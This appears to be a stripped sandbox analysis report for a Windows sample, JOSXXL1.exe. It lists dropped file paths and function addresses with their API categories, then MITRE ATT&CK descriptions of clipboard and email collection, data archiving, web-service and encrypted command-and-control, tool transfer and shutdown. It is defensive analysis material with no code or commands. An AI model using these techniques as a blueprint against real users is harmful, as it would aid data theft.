C:\Users\user\AppData\Local\indvandrings\attraavrdig\Udeladelsens.txt

C:\Users\user\AppData\Local\indvandrings\attraavrdig\Vandlbslov.Uni

C:\Users\user\AppData\Local\indvandrings\attraavrdig\nontelegraphical.hyp

C:\Users\user\AppData\Local\indvandrings\attraavrdig\sluggardly.udf

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Windows Analysis Report
JOSXXL1.exe

Function 004033B6 Relevance: 93.2, APIs: 32, Strings: 21, Instructions: 401
stringfilecomCOMMON

Function 00405421 Relevance: 68.5, APIs: 36, Strings: 3, Instructions: 284
windowclipboardmemoryCOMMON

Function 004061A5 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 207
stringCOMMON

Function 00405974 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Function 00403D6F Relevance: 59.8, APIs: 32, Strings: 2, Instructions: 345
windowstringCOMMON

Function 004039CC Relevance: 47.5, APIs: 13, Strings: 14, Instructions: 215
stringregistryCOMMON

Function 00402E41 Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 203
memoryCOMMON

Function 00401767 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Function 004052E2 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72
stringwindowCOMMON

Function 004057B1 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39
COMMON

Function 0040237B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Function 00402BFF Relevance: 7.6, APIs: 5, Instructions: 67
registryCOMMON

Function 10001759 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Function 00405D87 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Function 004064ED Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34
libraryCOMMON

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre